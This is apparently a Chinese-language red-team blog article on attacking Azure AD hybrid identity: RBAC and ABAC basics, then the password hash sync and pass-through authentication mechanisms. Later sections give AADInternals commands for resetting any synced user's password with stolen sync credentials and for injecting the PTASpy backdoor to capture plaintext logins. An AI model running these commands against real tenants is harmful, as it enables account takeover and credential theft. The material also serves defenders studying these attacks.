毅种循环

紅隊視角下的 AzureAD 攻防#

AzureAD/Azure/AD#

　　Azure AD，是微軟提供的一種基於雲的身份和訪問管理 (IAM) 解決方案。它可以幫助組織安全地管理員工、合作夥伴和客戶對應用程序和資源的訪問。

　　注：2023 年 6 月 21 日起，Azure AD，現在正式更名為 Microsoft Entra ID，但是以下，我還是將他稱為 AzureAD。

　　Microsoft Azure ID 的主要功能包括：

• 身份驗證和授權： 驗證用戶身份並控制他們對資源的訪問權限。
• 單點登錄 (SSO)： 用戶使用一組憑據訪問多個應用程序。
• 多重身份驗證 (MFA)： 通過要求額外的驗證因素（如短信驗證碼或指紋）來增強安全性。
• 設備管理： 管理和保護連接到組織網絡的設備。
• 自助服務密碼重置： 用戶可以自行重置密碼，無需聯繫 IT 支持。
• 與本地 Active Directory 集成： 將雲身份管理與本地身份管理相結合。

AD or AAD？#

　　這是一個很有趣的問題，首先分清楚兩者之間的功能性概念。

　　AD:“Active Directory" 的縮寫，簡單來說就是本地域服務，Windows Active Directory 主要使用 Kerberos 身份驗證協議和 LDAP ，基於訪問控制列表 ACL 作為其目錄服務的一部分對用戶進行身份驗證。

　　AAD：”Azure Active Directory” 利用的是 SAML、OAuth 2.0、OpenID Connect 協議基於角色訪問控制 RBAC 模型和條件訪問控制來完成。

　　所以 AD 和 AAD 不是一個完全相同的東西，唯一的相同之處就是都是一個提供信任服務的模式。

　　傳統的 AD 模式更適合引管理本地域計算機，而 AAD 模式更適合管理需要頻繁用到雲上資源的場景。

　　這裡又申引出來一個概念，即 Azure AD 和 Azure 的關係。

Azure or Azure AD？#

　　Azure 是微軟家族很大的雲服務平台，而 AzureAD 只是其中的一個產品之一。

　　從上述的圖中我們可以看出 Azure 和 Azure AD 還有資源組之間的關係，

　　假設一個場景用戶採用了混合身份環境，並且 office365 模式，那麼 Azure AD 是負責雲端身份驗證，Azure AD 為 Office 365 提供身份驗證和授權服務，其中通過 RBAC 模型來確定用戶對 Azure 資源的訪問權限，如果正確即可通過 Azure AD 的憑據登錄 Office 365。

　　那麼什麼是 RBAC 模型，我們接著往下看。

RBAC#

　　RBAC 是基於角色的訪問控制服務，用於管理用戶對 Azure 資源的訪問，包括他們可以對這些資源做什麼以及他們可以訪問哪些區域。

　　RBAC 的核心概念：

• 角色 (Role): 一組權限的集合。例如，“虛擬機管理員” 角色可能擁有創建、啟動、停止虛擬機的權限。
• 權限 (Permission): 對特定資源執行特定操作的能力。例如，對虛擬機的 “啟動” 權限。
• 分配 (Assignment): 將角色分配給用戶或組，使用戶或組繼承該角色的所有權限。

　　這張圖展示了 Azure 基於角色的訪問控制（RBAC）的工作原理，詳細說明如下：

　　1. 安全主體（Security Principal）：

• 安全主體是可以分配 Azure 角色的實體，包括：
  • 用戶（User）：Azure AD 中的個人用戶。
  • 組（Group）：Azure AD 中的一組用戶。
  • 服務主體（Service Principal）：代表應用程序或服務的身份。
  • 托管標識（Managed Identity）：Azure 資源的自動管理身份。
• 在圖中，安全主體是一個名為 “Marketing Group” 的組。

　　2. 角色定義（Role Definition）：

• 角色定義是一組權限的集合，描述了擁有該角色的實體可以對 Azure 資源執行的操作。
• Azure RBAC 提供了許多內置角色，例如：
  • 擁有者（Owner）：對資源具有完全訪問權限。
  • 參與者（Contributor）：可以創建和管理資源，但不能授予訪問權限。
  • 讀取者（Reader）：只能查看資源，不能修改。
• 還可以創建自定義角色，以滿足特定的需求。
• 在圖中，“Contributor” 角色被分配給 Marketing Group，這意味著該組的成員可以對資源進行修改，但不能授予訪問權限。

　　3. 角色分配（Role Assignment）：

• 角色分配是將角色定義與安全主體和作用域關聯起來的過程。
• 通過角色分配，您可以控制哪些安全主體可以在哪些作用域內執行哪些操作。
• 在圖中，"Contributor" 角色被分配給 Marketing Group，作用域是名為 "pharma-sales" 的資源組。

　　4. 作用域（Scope）：

• 作用域是 RBAC 應用的範圍，可以是：
  • 管理組（Management Group）：包含多個訂閱的容器。
  • 訂閱（Subscription）：Azure 服務的基本計費單位。
  • 資源組（Resource Group）：包含相關 Azure 資源的邏輯容器。
  • 單個資源（Individual Resource）：例如虛擬機、存儲帳戶等。
• 在圖中，作用域是名為 "pharma-sales" 的資源組，這意味著 Marketing Group 的成員只能在這個資源組內行使 "Contributor" 角色的權限。

　　同時一個 User/Group 是可以被多個 Role 所綁定的。

ABAC#

　　ABAC 是另一種訪問控制模型，與 RBAC 相比，它提供了更細粒度、更靈活的權限管理方式。

　　ABAC 的核心概念：

• 屬性 (Attribute): 描述主體（用戶、組、應用程序等）、資源（文件、數據、服務等）或環境（時間、位置、網絡等）的特徵。例如，用戶的部門、職稱、安全許可等級，資源的類型、敏感度、創建日期，環境的 IP 地址、設備類型等。
• 策略 (Policy): 一組規則，定義了在滿足特定條件時允許或拒絕訪問。策略通常使用屬性來表達條件，例如，“允許市場部員工在工作時間訪問市場數據”。

　　我用一個圖來解釋這種行為：

• 允許訪問市場數據： 這是策略的具體內容，說明了在什麼條件下允許訪問市場數據。
• 主體、資源、環境： 這是 ABAC 模型的三個核心要素，分別表示訪問者、被訪問對象和訪問環境。
• 部門、數據類型、時間、星期幾： 這是具體屬性，用於描述主體、資源和環境的特徵。
• 市場部、市場數據、9:00-17:00、周一 - 周五： 這是屬性的具體值，用於限定訪問條件。

　　邏輯關係就是：

　　只有當以下三個條件同時滿足時，才允許訪問市場數據：

1. 主體的部門屬性為 “市場部”。
2. 資源的數據類型屬性為 “市場數據”。
3. 環境的時間屬性在 9:00-17:00 之間，且星期幾屬性為周一至周五。

　　我認為這一塊和基於資源的約束委派定義差不多。

Azure AD Connect 架構與工作原理#

Azure AD Connect 功能概述#

　　Azure AD Connect 是微軟提供的一個工具，用於在本地 Active Directory (AD) 和 Azure Active Directory (Azure AD) 之間建立混合身份集成。

　　Azure AD Connect 功能：

• 密碼哈希同步 (Password Hash Synchronization, PHS): 將本地 AD 用戶的密碼哈希同步到 Azure AD，使用戶可以使用相同的密碼登錄到本地和雲端服務。
• 傳遞身份驗證 (Pass-through Authentication, PTA): 允許用戶使用其本地 AD 憑據直接登錄到 Azure AD，無需在雲端存儲密碼哈希。
• 聯合身份驗證 (Federation): 將身份驗證請求重定向到本地 AD FS (Active Directory Federation Services) 或第三方身份提供商 (IdP)，實現更高級的身份驗證和授權方案。

三種同步方式#

PHS#

哈希同步的原理和風險#

　　密碼哈希同步 (PHS) 是 AzureAD Connect 的一項功能 - 它是最容易實現的身份驗證選項，也是默認選項。PHS 的工作方式是，每當在本地更改密碼時，來自 Active Directory 的密碼哈希就會同步到 Azure AD 中。

　　注意點一點是，通過 Azure AD 修改用戶密碼時，新的密碼不會同步回本地 AD。PHS 機制是單向的，僅支持將本地 AD 的密碼哈希值同步到 Azure AD，而不支持從 Azure AD 同步回本地 AD。要使密碼在 Azure AD 和本地 AD 之間雙向同步，需使用其他機制如密碼寫回 (Password Writeback) 功能。然而，密碼寫回功能需要 Azure AD Premium P1 或 P2 許可證，並且需要在 Azure AD Connect 中配置。

　　他的原理如下：

• 獲取密碼哈希： Azure AD Connect 從本地 Active Directory (AD) 中讀取用戶的密碼哈希值。密碼哈希是通過對用戶密碼應用單向加密算法（如 NTLM 或 Kerberos）生成的固定長度字符串。
• 處理密碼哈希： 為了增強安全性，Azure AD Connect 會對獲取到的密碼哈希進行一些額外的處理，包括：
  • 加鹽 (Salting): 在密碼哈希中添加隨機字符串（鹽），以防止彩虹表攻擊。
  • 不可逆加密： 對加鹽後的密碼哈希再次應用單向加密算法，使得無法從雲端哈希還原出原始密碼。
• 同步到 Azure AD： Azure AD Connect 將處理後的密碼哈希安全地同步到 Azure AD，只同步自上次同步以來發生更改的密碼哈希。
• 用戶登錄驗證： 當用戶嘗試登錄 Azure AD 或 Office 365 等雲服務時，Azure AD 會將用戶輸入的密碼進行相同的哈希處理，然後與存儲在 Azure AD 中的密碼哈希進行比較。如果兩個哈希值匹配，則驗證通過，允許用戶登錄。

　　同步操作會半小時進行一次，當加入混合模式後，會發生什麼？

　　新增了一個 MSQL 標誌的用戶，當我們查看他擁有權限的時候會發生什麼。

　　值得注意的是，此用戶並不會同步到 AAD 裡面去。

　　Azure AD Connect 默認會排除以下類型的賬戶：

• 內置管理賬戶，如 Administrator
• 其他內置和系統賬戶
• 被禁用的賬戶

　　這一點可以 Get-ADSyncRule 來獲取同步用戶的規則。

　　所有 AD 域環境中的 Administrator、Guest 和 krbtgt 賬戶是無法同步上去的。

　　這些規則的設計目的是為了避免將一些系統賬戶、來賓賬戶或高權限賬戶同步到 Azure AD，從而保護 Azure AD 的安全性和穩定性。

　　如本文前面所述，Azure AD Connect 在本地 Active Directory 上創建了一個同步帳戶。

　　由於他負責將用戶密碼哈希的哈希發送到雲端，因此該用戶在域上具有複製權限。

　　我們來看看他如何同步密碼：

　　這段代碼定義了一個名為 PasswordHashGenerator 的類，它是 ClearPasswordHashGenerator 的子類。PasswordHashGenerator 主要作用是生成密碼哈希值，用於在 Azure AD Connect 中同步密碼。

　　重新哈希過程由 OrgIdHashGenerator 類中的方法處理，OrgIdHashGenerator 類會對加鹽後的哈希值應用 SHA256 算法，重複 1000 次。每次哈希都會將上一次的結果作為輸入，從而產生一個更複雜、更難以破解的最終哈希值。

　　我們來驗證一下此過程，為了方便演示，我這裡新增了一個 AD 域用戶 “lihua009”

　　然後強制發起一次同步流程。

　　dnspy 也已經停留在下斷點的地方

　　來比較一下是否一致，

濫用 特權

　　那麼之前我們提到的配置 PHS 之後會自動創建兩個用戶。

　　MSQL_會自動在本地 AD 中創建。此帳戶被賦予__目錄同步帳戶角色（參見文檔），這意味著它 *_在本地 AD 中具有複製（DCSync）權限。

　　Sync * 是在 Azure AD 中創建一個帳戶。此帳戶可以重置 Azure AD 中任何用戶（同步或僅限雲）的密碼

　　這兩個特權帳戶的密碼存儲在安裝 Azure AD Connect 的伺服器上的 SQL 伺服器中。

　　數據庫位於。C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

　　ADsync 用戶在本地是以服務帳戶進行啟動的，參考如下：

　　Azure AD Connect 服務利用名為 NT SERVICE\ADSync 的虛擬服務帳戶來執行服務進程 (miiserver.exe)。

　　當你擁有管理員權限並且在安裝了 Azure AD Connect 的伺服器上，就可以執行相關的命令。

　　可以使用 AADInternals 進行提取，如下圖：

　　獲取到這些 sync 的憑據之後，可以直接利用令牌更改任何經過 AAD 同步用戶的密碼，如下：

# 獲取全局管理員列表
$globalAdmins = Get-AADIntGlobalAdmins
Write-Output $globalAdmins

# 獲取所有用戶
$users = Get-AADIntUsers -AccessToken $token
Write-Output $users

# 獲取指定用戶的 ImmutableId，替換為你的實際用戶
$userPrincipalName = "[email protected]"
$user = Get-AADIntUser -UserPrincipalName $userPrincipalName | Select-Object -Property ImmutableId
Write-Output $user

# 使用 ImmutableId 重置用戶密碼，替換為你需要的新密碼
$newPassword = "AbcdPass12343!@#"
Set-AADIntUserPassword -SourceAnchor $user.ImmutableId -Password $newPassword -Verbose

# 現在可以使用新密碼訪問 Azure AD，使用舊密碼訪問 op-prem（密碼更改不同步）

　　因為我們是模擬了票據從 AAD 進行的密碼修改，也沒有開啟密碼寫回，所以修改的此用戶密碼是無法登錄本地 AD 的。

PHS 攻擊面總結

　　那麼我們總結一下 PHS 的一個概述

　　同步流程：

1. 密碼哈希的提取：
   當用戶在本地 AD 中創建或修改密碼時，AD 會存儲密碼的哈希值（通常是 NTLM 哈希）。
2. 哈希值的提取和處理：
   Azure AD Connect 工具會定期從本地 AD 中提取這些密碼哈希值。為了增強安全性，Azure AD Connect 不直接傳輸 NTLM 哈希，而是對其進行額外處理：
   • 首先，Azure AD Connect 會對 NTLM 哈希值進行加鹽和哈希處理，生成一個新的哈希值。
   • 這個新的哈希值再經過 PBKDF2（Password-Based Key Derivation Function 2）加密算法處理，增加計算複雜度和安全性。
3. 傳輸到 Azure AD：
   處理後的哈希值通過加密的通道傳輸到 Azure AD。

　　工作流程：

1. 定期同步：
   Azure AD Connect 工具默認每 30 分鐘進行一次同步。你也可以手動觸發同步。
2. 密碼哈希的存儲：
   傳輸到 Azure AD 的密碼哈希值被存儲在 Azure AD 中，用於用戶身份驗證。

　　驗證過程：

　　當用戶嘗試登錄 Azure AD 資源（如 Office 365、Azure 門戶等）時，身份驗證過程如下：

1. 用戶輸入密碼：
   用戶在登錄界面輸入用戶名和密碼。
2. 密碼驗證：
   Azure AD 將用戶輸入的密碼進行相同的哈希處理，並與存儲在 Azure AD 中的密碼哈希值進行比較。
   • 如果哈希值匹配，則用戶通過身份驗證。
   • 如果哈希值不匹配，則用戶身份驗證失敗。

　　同步機制：

• 本地 AD 密碼修改：
  當用戶在本地 AD 中修改密碼時，新的密碼哈希值會在下次同步時傳輸到 Azure AD。
• Azure AD 密碼修改：
  如果用戶在 Azure AD 中修改密碼，新的密碼不會同步回本地 AD。這是因為 PHS 默認是單向同步機制。

　　QA：

• 是否能攻擊本地域：
  這是有可能的，因為 PHS 是二次 hash 過程到雲端，就算你的密碼在 AAD 中被洩露，這也是難以逆向的。但是不排除你的 AAD 密碼和 AD 密碼是一致的。
• sync 濫用 拿到的 sync 權限對本地域用戶也有權限嗎 可以直接導本地用戶信息不：Sync 權限很高，可以理解為同步控制器，主要用於管理同步過程，將本地 AD 的數據同步到雲端的 Azure AD。默認情況下，Sync 帳戶在本地 AD 中只有只讀權限，因此不能直接導出或更改本地 AD 用戶信息，只能影響雲端用戶。然而，如果開啟了密碼寫回功能，Sync 帳戶會獲得對本地 AD 用戶進行寫操作的權限，從而可以實現雙向影響，即可以將雲端的密碼更改寫回到本地 AD。因此，Sync 權限在這種情況下可以影響本地 AD 用戶信息。

PTA#

代理同步的原理和風險#

　　來自文檔: Azure Active Directory (Azure AD) Pass-through Authentication 允許用戶使用相同的密碼登錄本地和基於雲的應用程序。此功能為用戶提供了更好的體驗 —— 少記一個密碼，並減少了 IT 幫助台的成本，因為用戶不太可能忘記如何登錄。當用戶使用 Azure AD 登錄時，此功能直接針對本地 Active Directory 驗證用戶的密碼。

　　在 PTA 中，身份是同步的，但密碼不像在 PHS 中那樣同步。

　　身份驗證在本地 AD 中驗證，與雲的通信由運行在本地伺服器上的身份驗證代理完成（不需要在本地 DC 上）。

　　需要在 azure 中切換用戶登錄方法為直通身份驗證模式，如下圖：

　　官方的建議是在大型域情況下設置 4 台以上的 PTA 代理伺服器，同時這些伺服器的安全性建議設置為最高（當然 PTA 伺服器越多，存在的可能攻擊面就越大。）

　　該 PTA 伺服器關鍵進程如下：C:\Program Files\Microsoft Azure AD Connect Authentication Agent

　　其中負責同步的進程 AzureADConnectAuthenticationAgentService.exe

　　在進程的方法打個斷點後發起一次強制流程看看。

　　那麼 PTS 是如何進行邏輯驗證的呢，可以先看看他的代碼，大概流程如下：

using System;
using System.Diagnostics;
using Microsoft.ApplicationProxy.Common.Utilities.Extensions;

namespace Microsoft.ApplicationProxy.Connector.DirectoryHelpers
{
    // 表示與 Active Directory 域交互的上下文。
    public class ActiveDirectoryDomainContext : IDomainContext
    {
        // 域名屬性。
        public string Domain { get; private set; }

        // 構造函數，初始化域上下文。
        public ActiveDirectoryDomainContext(string domain, INativeMethodWrapper nativeMethodWrapper)
        {
            // 初始化 Domain 屬性。如果域名為空或為 null，則設置為 null。
            this.Domain = (string.IsNullOrEmpty(domain) ? null : domain);
            // 初始化 nativeMethodWrapper 字段。
            this.nativeMethodWrapper = nativeMethodWrapper;
        }

        // 方法，用於驗證用戶憑據是否與 Active Directory 域匹配。
        public bool ValidateCredentials(string userPrincipalName, string password, out object errorCode)
        {
            bool result;
            try
            {
                // 驗證 userPrincipalName 和 password 是否為 null 或空。
                userPrincipalName.ValidateNotNullOrEmpty("userPrincipalName");
                password.ValidateNotNullOrEmpty("password");

                // 檢查域名是否有效。
                if (!this.ValidateDomainName())
                {
                    // 如果域名無效，則設置錯誤代碼並返回 false。
                    errorCode = string.Format("InvalidDomainName:'{0}'", this.Domain);
                    result = false;
                }
                else
                {
                    // 嘗試使用提供的憑據登錄用戶。
                    bool flag = this.LogonUser(userPrincipalName, password);

                    if (flag)
                    {
                        // 如果登錄成功，將錯誤代碼設置為 0。
                        errorCode = 0;
                    }
                    else
                    {
                        // 如果登錄失敗，獲取最後的 Win32 錯誤代碼並記錄警告。
                        errorCode = this.nativeMethodWrapper.GetLastWin32Error();
                        Trace.TraceWarning("Logon user failed with error: '{0}'", new object[]
                        {
                            errorCode
                        });
                    }
                    result = flag;
                }
            }
            catch (Exception ex)
            {
                // 記錄異常信息。
                Trace.TraceError("Unknown Exception was thrown for domain '{0}'. Ex: '{1}'", new object[]
                {
                    this.Domain,
                    ex
                });
                errorCode = ex.GetType().ToString();
                result = false;
            }
            return result;
        }

        // 私有方法，用於使用指定的用戶憑據登錄。
        private bool LogonUser(string userPrincipalName, string password)
        {
            SafeCloseHandle safeCloseHandle = null;
            bool result;
            try
            {
                // 調用 nativeMethodWrapper 的 LogonUser 方法進行登錄。
                result = this.nativeMethodWrapper.LogonUser(userPrincipalName, this.Domain, password, 3U, 0U, out safeCloseHandle);
            }
            finally
            {
                // 確保釋放 SafeCloseHandle 資源。
                if (safeCloseHandle != null)
                {
                    safeCloseHandle.Dispose();
                }
            }
            return result;
        }

        // 私有方法，用於驗證域名的有效性。
        private bool ValidateDomainName()
        {
            // 檢查域名是否為 '.'，如果是，則記錄錯誤並返回 false。
            if (this.Domain != null && this.Domain.Equals("."))
            {
                Trace.TraceError("Failed to create domain context due to invalid domain. Domain: '{0}'", new object[]
                {
                    this.Domain
                });
                return false;
            }
            return true;
        }

        // 常量定義。
        private const uint LOGON32_PROVIDER_DEFAULT = 0U; // 默認的登錄提供程序。
        private const uint LOGON32_LOGON_NETWORK = 3U; // 網絡登錄類型。
        private const string InvalidDomainNameErrorFormat = "InvalidDomainName:'{0}'"; // 無效域名錯誤格式。
        private const int SuccessCode = 0; // 成功代碼。
      
        // 私有字段，用於封裝本地方法調用。
        private readonly INativeMethodWrapper nativeMethodWrapper;
    }
}

　　代碼說明：

• ActiveDirectoryDomainContext 類:
  • Domain 屬性: 存儲域名。
  • 構造函數: 初始化 Domain 屬性和 nativeMethodWrapper 字段。
• ValidateCredentials 方法:
  • 驗證 userPrincipalName 和 password 是否有效。
  • 檢查域名是否有效。
  • 嘗試使用 LogonUser 方法登錄用戶。
  • 根據登錄結果設置 errorCode 並記錄日誌。
• LogonUser 方法:
  • 調用 nativeMethodWrapper 的 LogonUser 方法進行用戶登錄。
  • 確保在完成後釋放 SafeCloseHandle 資源。
• ValidateDomainName 方法:
  • 驗證域名是否有效，如果域名為 . 則記錄錯誤並返回 false。
• 常量和字段:
  • LOGON32_PROVIDER_DEFAULT, LOGON32_LOGON_NETWORK, InvalidDomainNameErrorFormat, 和 SuccessCode 是常量定義，用於登錄操作和錯誤處理。
  • nativeMethodWrapper 用於封裝對本地方法的調用。

　　這意味著，當用戶通過配置了 PTA 的 Azure AD 輸入密碼時，他們的憑據是以未加密的形式傳輸到 PTA 上，然後 PTA 根據 Active Directory 對其進行驗證。那麼，如果我們入侵了負責 Azure AD Connect 的伺服器會怎麼樣？

　　顯而易見，可以控制整個 PTA 伺服器，並且所有通過該代理端點登錄的信息都會被截取。

中間人 / 後門

　　正如前面所說的，這套流程會將本地的域信息通過 PTA 進行連接起來，那麼特定情況下的攻擊面就如下了：

　　當實際行動中拿到了運行 PTA 的代理伺服器，並且有本地管理員的模式下，進程名為：AzureADConnectAuthenticationAgentService.exe。

　　查找 AAD 中存在的 PTA 代理信息：

Import-Module AADInternals //導入模塊
Get-AADIntProxyAgents //獲取存在PTA的機器

　　實際作戰中可以先找這些 PTA 機器作為維權的優先流程。

　　參考：https://aadinternals.com/aadinternals/#hack-functions-pass-through-authentication-pta

Install-AADIntPTASpy //注入惡意後門
Get-AADIntAccessTokenForPTA -SaveToCache 

　　使用該命令後會創建一個隱藏文件夾 (C:\PTASpy)，並將 PTASpy.dll 複製到那裡。

　　然後將 PTASpy.dll 注入正在運行的 AzureADConnectAuthenticationAgentService.exe。

　　安裝後，PTASpy 會收集所有使用的憑據， 並將其與 Base64 編碼的密碼一起存儲到 C:\PTASpy\PTASpy.csv。

　　值得一提的是，該 PTA 是默認後門的功能，沒有去判斷密碼的正確。

　　也可以使用使用 Get-AADIntPTASpyLog 讀取明文的密碼。

ADFS#

　　未完成